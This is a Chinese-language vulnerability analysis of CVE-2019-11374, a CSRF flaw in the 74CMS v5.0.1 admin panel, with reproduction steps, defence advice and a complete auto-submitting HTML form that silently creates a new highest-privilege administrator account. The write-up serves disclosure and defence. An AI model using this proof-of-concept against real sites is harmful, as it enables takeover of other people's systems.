74CMS v5.0.1 后台 CSRF 漏洞分析与复现

0 下载量 132 浏览量 更新于2024-08-03 收藏 1KB MD 举报
"74cms v5.0.1 后台存在跨站请求伪造(CSRF)漏洞,CVE编号CVE-2019-11374。攻击者可利用此漏洞诱使管理员执行恶意操作,创建新的后台管理员账户,获取系统控制权。受影响的版本仅为74CMS v5.0.1。" ### 漏洞详解 跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种网络攻击方式,攻击者通过构造恶意请求,使得用户在不知情的情况下执行非预期的操作。在这个特定的74CMS v5.0.1版本中,CSRF漏洞存在于后台管理界面的添加管理员功能中。 **漏洞描述:** 在74CMS v5.0.1中,攻击者可以构建一个包含特定URL和POST参数的恶意网页,这个URL指向了后台的管理员添加接口(/index.php?m=admin&c=admin&a=add)。当受害者(即系统管理员)在登录状态下去访问这个恶意网页时,浏览器会自动提交表单数据,包括新管理员的用户名、邮箱、密码以及角色ID。由于请求是来自已登录的管理员,系统会认为这是管理员的合法操作,因此会创建一个新的具有最高权限的管理员账户。 **漏洞影响:** - 影响版本:74CMS v5.0.1 - 攻击者成功利用此漏洞后,可以任意添加后台管理员账户,这可能导致攻击者获得与被诱骗管理员相同级别的权限,甚至整个系统的控制权。 - 对于使用74CMS v5.0.1的网站,如果没有及时修补这个漏洞,将面临严重的安全风险,包括数据泄露、非法操作、系统被接管等。 **漏洞复现步骤:** 1. 首先,攻击者需要了解或猜到管理员的登录状态。 2. 然后,构造一个包含恶意表单的HTML页面,如示例代码所示,表单数据包括新管理员的用户名、邮箱、密码和角色ID。 3. 将这个页面链接通过电子邮件、即时消息或其他方式发送给管理员,诱使他们点击。 4. 当管理员点击并加载这个页面时,浏览器会自动提交表单,创建新的管理员账户。 ```html <!DOCTYPE html> <html> <head> <title>CSRF</title> <script type="text/javascript"> function exec1() { document.getElementById('form1').submit(); } </script> </head> <body onload="exec1();"> <form id="form1" action="https://www.0dayhack.com/index.php?m=Admin&c=admin&a=add" method="POST"> <input type="hidden" name="username" value="admin688"/> <input type="hidden" name="email" value="111111111@qq.com"/> <input type="hidden" name="password" value="admin688"/> <input type="hidden" name="repassword" value="admin688"/> <input type="hidden" name="role_id" value="1"/> </form> </body> </html> ``` ### 防御策略 - **CSRF令牌**:为每个敏感操作添加一个随机且唯一的CSRF令牌,令牌存储在服务器端和客户端的session中,请求时必须携带这个令牌,服务器端验证其有效性。这样,只有来源于合法页面的请求才会被接受。 - **验证HTTP Referer头**:虽然此头可以被篡改,但通常情况下,正常请求的Referer会反映出来源页面,而伪造请求则不会有或有误的Referer。 - **限制GET请求**:敏感操作尽量使用POST请求,因为GET请求更容易被无意间触发或被第三方引用。 - **使用HTTPOnly Cookie**:防止JavaScript访问Cookie,减少Cookie被XSS攻击盗取的风险。 - **提示二次确认**:对高风险操作增加二次确认机制,如删除、修改重要信息等。 为了保障系统安全,对于已经部署了74CMS v5.0.1的站点,应尽快升级到修复此漏洞的最新版本,或者应用官方提供的补丁,同时加强安全配置,防止类似攻击的发生。